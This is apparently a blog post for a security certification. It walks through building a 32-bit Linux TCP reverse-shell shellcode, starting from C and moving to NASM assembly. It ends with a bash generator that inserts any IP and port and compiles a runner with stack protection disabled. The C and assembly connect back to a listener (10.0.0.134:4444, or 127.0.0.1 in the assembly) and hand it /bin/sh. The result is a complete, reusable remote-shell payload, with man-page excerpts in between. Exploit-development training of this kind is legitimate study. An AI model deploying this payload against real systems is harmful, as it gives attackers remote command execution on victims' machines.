This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-644
GitHub resource containing challenge files:
https://github.com/bl305/SLAE32
Local link to source files:
http://itfanatic.com/files/Challenge_02_Final.ZIP
Task: create a TCP reverse shellcode in linux assembly 32 bits intel syntax. Also create a tool to be able to dynamically change the IP and port.
This tutorial was based on the SLAE Challange #1. Please go back and make sure you fully understand the steps taken there in order to understand this second chalenge
There are potentially multiple ways to accomplish the mission. I decided to build the C# code using internet resources. Google is my friend.
In principle the code should do the following:
Opening a socket, basically a listener. My first match in google was this:
http://www.linuxhowtos.org/C_C++/socket.htm
I used the code and rewrote it to do a remote connect. We need to change some things: the listener must be the IP address of the remote server. In our case, it will be 10.0.0.134. Port will be 4444.
The bind&listen will be replaced by a connect function. There will be no newsockfd, but the original sockfd socket descriptor will be duplicated into STDIN, STDOUT, STDERR.
Now we need to clean it up, as we don't care about error handling and other pretty important stuff important in a normal programming project. The cleaned code look like this below:
/* A simple server in the internet domain using TCP*/ #include <stdio.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> int main(void) { int sockfd, portno; //file descriptor, client file descriptor, port number socklen_t clilen; //socket length for new connections struct sockaddr_in serv_addr; //server listen address sockfd = socket(AF_INET, SOCK_STREAM, 0); //create TCP socket http://man7.org/linux/man-pages/man7/socket.7.html portno = 4444; //port to listen on serv_addr.sin_family = AF_INET; // server socket type address family = internet protocol address serv_addr.sin_addr.s_addr = inet_addr("10.0.0.134"); // connect back IP address, converted to network byte order serv_addr.sin_port = htons(portno); // server port, converted to network string order connect(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); //connect to socket http://man7.org/linux/man-pages/man2/connect.2.html // dup2-loop to redirect stdin(0), stdout(1) and stderr(2) dup2(sockfd, 0); dup2(sockfd, 1); dup2(sockfd, 2); //http://man7.org/linux/man-pages/man2/dup.2.html // execute sh shell execve("/bin/sh", NULL, NULL); //http://man7.org/linux/man-pages/man2/execve.2.html close(sockfd); //close socket return 0; }
Now compile it and see what happens. Ignore the warning and execute the program:
Now a connection to it will show that the shell has been executed and reverse connected to the destination IP.
Now let's do the same thing in NASM. The steps we need to do:
Determine the interrupts using:
less /usr/include/i386-linux-gnu/asm/unistd_32.h
List of subcalls are here:
less /usr/include/linux/net.h
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
Ok, now using the “man” pages we can determine the specifics:
man socket, man connect
SEE ALSO
accept(2), bind(2), connect(2), fcntl(2), getpeername(2), getsockname(2), getsockopt(2), ioctl(2), listen(2), read(2), recv(2), select(2), send(2), shutdown(2), socketpair(2), write(2), getprotoent(3), ip(7), socket(7), tcp(7), udp(7), unix(7)
man socketcall:
NAME
socketcall - socket system calls
SYNOPSIS
int socketcall(int call, unsigned long *args);
DESCRIPTION
socketcall() is a common kernel entry point for the socket system calls. call determines which socket function to invoke. Args points to a block containing the actual arguments, which are passed through to the appropriate call.
User programs should call the appropriate functions by their usual names. Only standard library implementors and kernel hackers need to know about socketcall().
man socket
NAME
socket - create an endpoint for communication
SYNOPSIS
#include <sys/types.h> /* See NOTES */
#include <sys/socket.h>
int socket(int domain, int type, int protocol);
DESCRIPTION
socket() creates an endpoint for communication and returns a descriptor.
The domain argument specifies a communication domain; this selects the protocol family which will be used for communication. These families are defined in <sys/socket.h>. The currently understood formats include:
Name Purpose Man page
AF_UNIX, AF_LOCAL Local communication unix(7)
AF_INET IPv4 Internet protocols ip(7)
AF_INET6 IPv6 Internet protocols ipv6(7)
AF_IPX IPX - Novell protocols
AF_NETLINK Kernel user interface device netlink(7)
AF_X25 ITU-T X.25 / ISO-8208 protocol x25(7)
AF_AX25 Amateur radio AX.25 protocol
AF_ATMPVC Access to raw ATM PVCs
AF_APPLETALK Appletalk ddp(7)
AF_PACKET Low level packet interface packet(7)
The socket has the indicated type, which specifies the communication semantics. Currently defined types are:
SOCK_STREAM Provides sequenced, reliable, two-way, connection-based byte streams. An out-of-band data transmission mechanism may be supported.
SOCK_DGRAM Supports datagrams (connectionless, unreliable messages of a fixed maximum length).
SOCK_SEQPACKET Provides a sequenced, reliable, two-way connection-based data transmission path for datagrams of fixed maximum length; a consumer is required to read an entire packet with each input system call.
SOCK_RAW Provides raw network protocol access.
SOCK_RDM Provides a reliable datagram layer that does not guarantee ordering.
SOCK_PACKET Obsolete and should not be used in new programs; see packet(7).
Some socket types may not be implemented by all protocol families; for example, SOCK_SEQPACKET is not implemented for AF_INET.
Since Linux 2.6.27, the type argument serves a second purpose: in addition to specifying a socket type, it may include the bitwise OR of any of the following values, to modify the behavior of socket():
SOCK_NONBLOCK Set the O_NONBLOCK file status flag on the new open file description. Using this flag saves extra calls to fcntl(2) to achieve the same result.
SOCK_CLOEXEC Set the close-on-exec (FD_CLOEXEC) flag on the new file descriptor. See the description of the O_CLOEXEC flag in open(2) for reasons why this may be useful.
The protocol specifies a particular protocol to be used with the socket. Normally only a single protocol exists to support a particular socket type within a given protocol family, in which case protocol can be specified as 0. However, it is possible that many protocols may exist, in which case a particular protocol must be specified in this manner. The protocol number to use is specific to the “communication domain” in which communication is to take place; see protocols(5). See getprotoent(3) on how to map protocol name strings to protocol numbers.
More details on protocol numbers:
less /usr/include/linux/in.h
/* Standard well-defined IP protocols. */
enum {
IPPROTO_IP = 0, /* Dummy protocol for TCP */
IPPROTO_ICMP = 1, /* Internet Control Message Protocol */
IPPROTO_IGMP = 2, /* Internet Group Management Protocol */
IPPROTO_IPIP = 4, /* IPIP tunnels (older KA9Q tunnels use 94) */
IPPROTO_TCP = 6, /* Transmission Control Protocol */
IPPROTO_EGP = 8, /* Exterior Gateway Protocol */
IPPROTO_PUP = 12, /* PUP protocol */
IPPROTO_UDP = 17, /* User Datagram Protocol */
IPPROTO_IDP = 22, /* XNS IDP protocol */
IPPROTO_DCCP = 33, /* Datagram Congestion Control Protocol */
IPPROTO_RSVP = 46, /* RSVP protocol */
IPPROTO_GRE = 47, /* Cisco GRE tunnels (rfc 1701,1702) */
IPPROTO_IPV6 = 41, /* IPv6-in-IPv4 tunnelling */
TCP would be #6
Step #1: Socket open
So, there will be a socket call with the following parameters:
domain: AF_INET
type: SOCK_STREAM
protocol: 0
Now, we need to push all these stuff on the stack in reverse order, so protcol, type, domain. Ok, but how do I know what are the values for AF_INET and SOCK_STREAM?
Look into the socket.h in your include directory. In my case it was here:
less /usr/include/i386-linux-gnu/bits/socket_type.h
SOCK_STREAM = 1
less /usr/include/i386-linux-gnu/bits/socket.h
#define PF_INET 2 /* IP protocol family. */
#define AF_INET PF_INET
So we send this: proto, type, domain: 0,1,2
Assembly code:
;sockfd= socket(AF_INET, SOCK_STREAM, 0) xor eax,eax ;clean eax mov al,0x66 ;set syscall number to socket xor ebx,ebx ;zero out ebx push ebx ;stack protocol=0, default (could be 6 for TCP) inc ebx ;prepare ebx=1 for stack push ebx ;stack type=1, sock_stream push byte 0x2 ;stack domain, af_inet mov ecx,esp ;store a pointer to the parameters for dup2 int 0x80 ;call the syscall, it returns the socket file descriptor to EAX mov esi, eax ;store sockfd into ESI
Step #2: Socket connect
So in this case we will need to call socket with "connect" subcall. List of subcalls are here:
less /usr/include/linux/net.h
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
man connect
SYNOPSIS
#include
#include
int connect(int sockfd, const struct sockaddr *addr,
socklen_t addrlen);
DESCRIPTION
The connect() system call connects the socket referred to by the file descriptor sockfd to the address specified by addr. The addrlen argument specifies the size of addr. The format of the address in addr is determined by the address space of the socket sockfd; see socket(2) for further details.
If the socket sockfd is of type SOCK_DGRAM then addr is the address to which datagrams are sent by default, and the only address from which datagrams are received. If the socket is of type SOCK_STREAM or SOCK_SEQPACKET, this call attempts to make a connection
to the socket that is bound to the address specified by addr.
Generally, connection-based protocol sockets may successfully connect() only once; connectionless protocol sockets may use connect() multiple times to change their association. Connectionless sockets may dissolve the association by connecting to an address with
the sa_family member of sockaddr set to AF_UNSPEC (supported on Linux since kernel 2.2).
So let's set the parameters:
connect ( sockfd, struct sockaddr *addr, socklen_t *addrlen, flags);
In plain text:
connect (sockfd, sockaddress, addrlen)
sockaddr requires special attention. Sockfd will be the pointer we stored as the result of the last syscall.
To see the contents of the structure, we need to look into:
less /usr/include/linux/in.h
/* Structure describing an Internet (IP) socket address. */
#define __SOCK_SIZE__ 16 /* sizeof(struct sockaddr) */
struct sockaddr_in {
__kernel_sa_family_t sin_family; /* Address family */
__be16 sin_port; /* Port number */
struct in_addr sin_addr; /* Internet address */
To calculate the IP address:
The value of Address family is the target IP address: 10.0.0.134
In binary, this will be:
00001010000000000000000010000110
Which is in hex:
0a 00 00 86
Which is in Little-endian:
86 00 00 0a
Port number is obvious, it's a number in hex little-endian: 5C11 (port 4444)
Struct in_addr will be AF_INET=0x2
So, the structure to push will be:
Sockaddr structure saved reference in ECX:
0x8600000a (sin_addr), 0x115C (sin_port 4444), 0x2 (sin_family)
And finally we need 3 in EBX for the “connect” subcall.
Assembly:
;connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen) mov al,0x66 ;set syscall number to socket pop ebx ;take the 2 from the stack and use as AF_INET ;prepare struct xor edx,edx ;zero out edx push 0x0101017f ;set the sin_addr=127.0.0.1 push word 0x5C11 ;set sin_port=4444 push word bx ;sin_family AF_INET =0x2 inc ebx ;we need 3 in ebx for "connect" mov ecx, esp ;save pointer ;prepare struct end push 0x10 ;addrlen=16 structure length push ecx ; struck sockaddr pointer push esi ; this is a pointer to the file descriptor sockfd mov ecx, esp ;pointer to connect() args int 0x80 ; exec sys bind
Step #3: Redirect STDIN, STDOUT, STDERR
Redirect STDIN (0), STDOUT(1), STDERR(2)
We will use DUP2.
SYNOPSIS
#include <unistd.h>
int dup(int oldfd);
int dup2(int oldfd, int newfd);
#define _GNU_SOURCE /* See feature_test_macros(7) */
#include <fcntl.h> /* Obtain O_* constant definitions */
#include <unistd.h>
int dup3(int oldfd, int newfd, int flags);
DESCRIPTION
These system calls create a copy of the file descriptor oldfd.
dup() uses the lowest-numbered unused descriptor for the new descriptor.
dup2() makes newfd be the copy of oldfd, closing newfd first if necessary, but note the following:
* If oldfd is not a valid file descriptor, then the call fails, and newfd is not closed.
* If oldfd is a valid file descriptor, and newfd has the same value as oldfd, then dup2() does nothing, and returns newfd.
After a successful return from one of these system calls, the old and new file descriptors may be used interchangeably. They refer to the same open file description (see open(2)) and thus share file offset and file status flags; for example, if the file offset is modified by using lseek(2) on one of the descriptors, the offset is also changed for the other.
The two descriptors do not share file descriptor flags (the close-on-exec flag). The close-on-exec flag (FD_CLOEXEC; see fcntl(2)) for the duplicate descriptor is off.
Ok, get the syscall for DUP2:
less /usr/include/i386-linux-gnu/asm/unistd_32.h
it is 63=0x3F
We need to do:
dup2(oldfd,newfd)
oldfd will be the EBX socketfd, new will be 0 (stdin),1(stdout),2(stderr).
I put this in a loop ().
cl will be the counter. It has to be zeroed out and set to 2.
we need 0 in ecx, so we zero it out
xor ecx,ecx
Set the cl to 2:
mov cl,0x2 ; initiate counter
call result will be returned to EAX, which is currently busy with storing the socketfd. Let's store socketfd in EBX for now using XCHG. EBX used to store 0x5 for the Accept call, we don't need that any more.
xchg ebx, eax
define the dup2 with the aruments in the loop (EBX won't change, it is socketfd):
myloop:
mov al,0x3F ;dup2 syscall
int 0x80 ;syscall dup2
dec ecx ; decrement counter
jns loop ; jmp to loop as long as SF is not set to 1
Assembly:
;redirect xchg ebx, esi ;store the socketfd in ebx, and 0x3 in esi. EBX will be the oldfd in DUP2 xor ecx,ecx ;zero out ecx mov cl, 0x2 ; set counter to 2, this will be newfd in DUP2 ;loop to call dup2 3 times and duplicate file descriptor for STDIN, STDOUT and STDERR myloop: mov al,0x3F ;dup2 syscall int 0x80 ;syscall dup2 dec ecx ; decrement counter jns myloop ; jmp to loop as long as SF is not set to 1
Step #4: Execute bash
execute shell vie execve
man execve
SYNOPSIS
#include <unistd.h>
int execve(const char *filename, char *const argv[],
char *const envp[]);
DESCRIPTION
execve() executes the program pointed to by filename. filename must be either a binary executable, or a script starting with a line of the form:
#! interpreter [optional-arg]
For details of the latter case, see "Interpreter scripts" below.
argv is an array of argument strings passed to the new program. By convention, the first of these strings should contain the file name associated with the file being executed. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. Both argv and envp must be terminated by a NULL pointer. The argument vector and environment
can be accessed by the called program's main function, when it is defined as:
int main(int argc, char *argv[], char *envp[])
execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded.
So we need this:
execve(*filename, *const argv[],*const envp[]);
syscall for execve is 11=0x0b:
less /usr/include/i386-linux-gnu/asm/unistd_32.h
As the system is in little-endian, we need to push the command in reverse order ending with 0x0.
Assembly:
;execve xor eax,eax push eax ;push the ending 0x0 push 0x68732f2f ; "hs//" the trick is "//"="/" tom make it four bytes push 0x6e69622f ; "nib/" mov ebx, esp ;save the pointer to filename push eax ; set argument t 0x0 mov ecx, esp ;save the pointer to argument envp push eax ; set argument t 0x0 mov edx, esp ;save the pointer to argument ptr mov al,0xb ;call execve int 0x80 ; execute syscall
The full sourcecode:
global _start section .text _start: ;sockfd= socket(AF_INET, SOCK_STREAM, 0) xor eax,eax ;clean eax mov al,0x66 ;set syscall number to socket xor ebx,ebx ;zero out ebx push ebx ;stack protocol=0, default (could be 6 for TCP) inc ebx ;prepare ebx=1 for stack push ebx ;stack type=1, sock_stream push byte 0x2 ;stack domain, af_inet mov ecx,esp ;store a pointer to the parameters for dup2 int 0x80 ;call the syscall, it returns the socket file descriptor to EAX mov esi, eax ;store sockfd into ESI ;connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen) mov al,0x66 ;set syscall number to socket pop ebx ;take the 2 from the stack and use as AF_INET ;prepare struct xor edx,edx ;zero out edx push 0x0101017f ;set the sin_addr=127.0.0.1 push word 0x5C11 ;set sin_port=4444 push word bx ;sin_family AF_INET =0x2 inc ebx ;we need 3 in ebx for "connect" mov ecx, esp ;save pointer ;prepare struct end push 0x10 ;addrlen=16 structure length push ecx ; struck sockaddr pointer push esi ; this is a pointer to the file descriptor sockfd mov ecx, esp ;pointer to connect() args int 0x80 ; exec sys bind ;redirect xchg ebx, esi ;store the socketfd in ebx, and 0x3 in esi. EBX will be the oldfd in DUP2 ;pop ecx ; pull the 0x00000000 from the stack xor ecx,ecx ;zero out ecx mov cl, 0x2 ; set counter to 2, this will be newfd in DUP2 ;loop to call dup2 3 times and duplicate file descriptor for STDIN, STDOUT and STDERR myloop: mov al,0x3F ;dup2 syscall int 0x80 ;syscall dup2 dec ecx ; decrement counter jns myloop ; jmp to loop as long as SF is not set to 1 ;execve xor eax,eax push eax ;push the ending 0x0 push 0x68732f2f ; "hs//" the trick is "//"="/" tom make it four bytes push 0x6e69622f ; "nib/" mov ebx, esp ;save the pointer to filename push eax ; set argument t 0x0 mov ecx, esp ;save the pointer to argument envp push eax ; set argument t 0x0 mov edx, esp ;save the pointer to argument ptr mov al,0xb ;call execve int 0x80 ; execute syscall
The script which generates assembly code with custom port and compiles the program:
#!/bin/bash echo '[+] Changing IP to '$2' ...' newip=`perl ./ip_calc.pl $2` sed s/0101017f/$newip/ <$1.nasm >$1.nasm_tmp1 echo '[+] Changing port to '$3' ...' port=`printf %04X $3 |grep -o ..|tac|tr -d '\n'` sed s/5C11/$port/ <$1.nasm_tmp1 >$1.nasm_tmp2 echo '[+] Assembling with Nasm ... ' nasm -f elf32 -o $1.o $1.nasm_tmp2 echo '[+] Linking ...' ld -o $1 $1.o echo '[+] Objdump ...' mycode=`objdump -d ./$1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\\x/g'|paste -d '' -s |sed 's/^/"/' | sed 's/$/"/g'` echo '[+] Assemble shellcode C ...' echo "#include<stdio.h>" >shellcode.c echo "#include<string.h>" >>shellcode.c echo "unsigned char code[] = \\" >>shellcode.c echo $mycode";" >>shellcode.c echo "main()" >>shellcode.c echo "{" >>shellcode.c echo "printf(\"Shellcode Length: %d\n\", strlen(code));" >>shellcode.c echo " int (*ret)() = (int(*)())code;" >>shellcode.c echo " ret();" >>shellcode.c echo "}" >>shellcode.c echo '[+] Compile shellcode.c' gcc -fno-stack-protector -z execstack shellcode.c -o shellcode echo '[+] Done!'
The shellcode in action: